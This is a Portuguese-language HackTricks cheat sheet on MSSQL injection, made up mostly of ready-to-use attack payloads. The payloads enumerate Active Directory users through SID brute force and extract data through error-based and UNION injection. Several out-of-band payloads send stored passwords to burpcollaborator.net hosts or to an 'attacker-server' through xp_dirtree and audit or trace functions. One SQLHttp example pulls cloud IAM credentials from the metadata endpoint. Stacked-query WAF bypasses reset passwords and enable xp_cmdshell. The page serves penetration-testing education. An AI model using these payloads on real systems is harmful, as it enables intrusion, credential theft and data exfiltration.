hacktricks/pentesting-web/sql-injection/mssql-injection.md

255 lines
14 KiB
Markdown

# Injeção MSSQL
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
## Enumeração do Active Directory
Pode ser possível **enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL** usando as seguintes funções MSSQL:
* **`SELECT DEFAULT_DOMAIN()`**: Obter o nome do domínio atual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Se você conhece o nome do domínio (_DOMAIN_ neste exemplo), esta função retornará o **SID do usuário Administrador** em formato hex. Isso se parecerá com `0x01050000000[...]0000f401`, note como os **últimos 4 bytes** são o número **500** em formato **big endian**, que é o **ID comum do usuário administrador**.\
Esta função permitirá que você **conheça o ID do domínio** (todos os bytes exceto os últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta função retornará o **nome de usuário do ID indicado** (se houver), neste caso **0000e803** em big endian == **1000** (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar bruta os IDs de usuários de 1000 a 2000 e provavelmente obter todos os nomes de usuários do domínio. Por exemplo, usando uma função como a seguinte:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Vetores Alternativos Baseados em Erro**
Injeções SQL baseadas em erro tipicamente se assemelham a construções como `+AND+1=@@version--` e variantes baseadas no operador «OR». Consultas contendo tais expressões geralmente são bloqueadas por WAFs. Como uma forma de contornar, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que desencadeiam um erro de conversão de tipo de dados na informação desejada.
Alguns exemplos de tais funções:
* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`
Exemplo de uso da função `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
## SSRF
### `fn_xe_file_target_read_file`
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/3.png)
**Permissões:** Requer permissão **`VIEW SERVER STATE`** no servidor.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/2.png)
**Permissões:** Requer a permissão **`CONTROL SERVER`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettable`
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/1.png)
**Permissões:** Requer a permissão **`CONTROL SERVER`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
O método mais comum para realizar uma chamada de rede que você encontrará usando MSSQL é o uso da Stored Procedure `xp_dirtree`, que curiosamente não é documentada pela Microsoft, o que fez com que fosse [documentada por outras pessoas na Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Esse método foi usado em [vários exemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de posts sobre [Exfiltração de Dados Fora de Banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) na Internet.
Essencialmente,
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
Assim como o `LOAD_FILE` do MySQL, você pode usar `xp_dirtree` para fazer uma solicitação de rede **apenas para a porta TCP 445**. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.
**PS:** Isso não funciona no `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` executado em um `Windows Server 2016 Datacenter` na configuração padrão.
Existem **outras** stored procedures \*\*\*\* [**como `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) ou **`xp_subdirs`** que podem ser usadas para resultados semelhantes.
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Obviamente, você também pode usar **`xp_cmdshell`** para **executar** algo que acione um **SSRF**. Para mais informações **leia a seção relevante** na página:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
É bastante simples escrever uma **CLR UDF** (Common Language Runtime User Defined Function - código escrito com qualquer uma das linguagens **.NET** e compilado em um **DLL**) e **carregá-lo dentro do MSSQL para funções personalizadas**. Isso, no entanto, **requer acesso `dbo`** então pode não funcionar a menos que a conexão da aplicação web com o banco de dados **como `sa` ou um papel de Administrador**.
[Este repositório do Github tem o projeto do Visual Studio e as instruções de instalação](https://github.com/infiniteloopltd/SQLHttp) para carregar o binário no MSSQL como um assembly CLR e depois invocar solicitações HTTP GET de dentro do MSSQL.
O código `http.cs` usa a classe `WebClient` para fazer uma solicitação GET e buscar o conteúdo conforme especificado
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
Nas instruções de instalação, execute o seguinte antes da consulta `CREATE ASSEMBLY` para adicionar o hash SHA512 do assembly à lista de assemblies confiáveis no servidor (você pode ver a lista usando `select * from sys.trusted_assemblies;`)
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Uma vez que a assembly é adicionada e a função criada, podemos executar o seguinte para fazer nossos pedidos HTTP
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
## **Exploração rápida: Recuperar uma tabela inteira em uma consulta**
Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma consulta — o uso da cláusula FOR XML ou da cláusula FOR JSON. A cláusula FOR XML requer um modo especificado, como «raw», então em termos de brevidade, FOR JSON a supera.
A consulta para recuperar o esquema, tabelas e colunas do banco de dados atual:
```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```
```markdown
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
Vetores baseados em erro precisam de um alias ou nome, pois a saída de expressões sem nenhum dos dois não pode ser formatada como JSON.
```
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
## **Recuperando a consulta atual**
A consulta SQL atualmente em execução pode ser recuperada acessando `sys.dm_exec_requests` e `sys.dm_exec_sql_text`:
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
**Permissões:** Se o usuário tem permissão VIEW SERVER STATE no servidor, ele verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
## **Pequenos truques para contornar WAFs**
Caracteres de espaço em branco não padrão: %C2%85 или %C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
Notação científica (0e) e hexadecimal (0x) para ofuscar UNION:
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
Um ponto em vez de um espaço em branco entre FROM e o nome de uma coluna:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
\N separador entre SELECT e uma coluna descartável:
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
### Bypass de WAF com consultas empilhadas não ortodoxas
De acordo com [**este post do blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), é possível empilhar consultas no MSSQL sem usar ";":
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
Então, por exemplo, múltiplas consultas como:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
Pode ser reduzido a:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
Portanto, pode ser possível contornar diferentes WAFs que não consideram esta forma de empilhar consultas. Por exemplo:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
## Referências
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
<details>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>